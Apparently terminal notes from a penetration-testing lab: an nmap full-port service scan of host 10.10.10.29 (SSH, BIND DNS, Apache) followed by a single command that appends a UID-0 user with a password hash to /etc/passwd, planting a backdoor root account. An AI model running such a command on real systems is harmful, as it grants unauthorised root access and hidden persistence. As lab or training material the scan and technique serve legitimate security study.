┌──(kali㉿kali)-[~]
└─$ nmap -sC -sV -T4 -p- 10.10.10.29
Starting Nmap 7.91 ( https://nmap.org ) at 2021-08-12 22:23 CEST
Warning: 10.10.10.29 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.10.10.29
Host is up (0.056s latency).
Not shown: 65530 closed ports
PORT      STATE    SERVICE VERSION
22/tcp    open     ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 08:ee:d0:30:d5:45:e4:59:db:4d:54:a8:dc:5c:ef:15 (DSA)
|   2048 b8:e0:15:48:2d:0d:f0:f1:73:33:b7:81:64:08:4a:91 (RSA)
|   256 a0:4c:94:d1:7b:6e:a8:fd:07:fe:11:eb:88:d5:16:65 (ECDSA)
|_  256 2d:79:44:30:c8:bb:5e:8f:07:cf:5b:72:ef:a1:6d:67 (ED25519)
53/tcp    open     domain  ISC BIND 9.9.5-3ubuntu0.14 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.9.5-3ubuntu0.14-Ubuntu
80/tcp    open     http    Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
11100/tcp filtered unknown
44091/tcp filtered unknown                                                                               
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

10.10.10.29

echo mati1:pATfNCwRanDjY:0:0:mati1:/home/mati1:/bin/bash >> /etc/passwd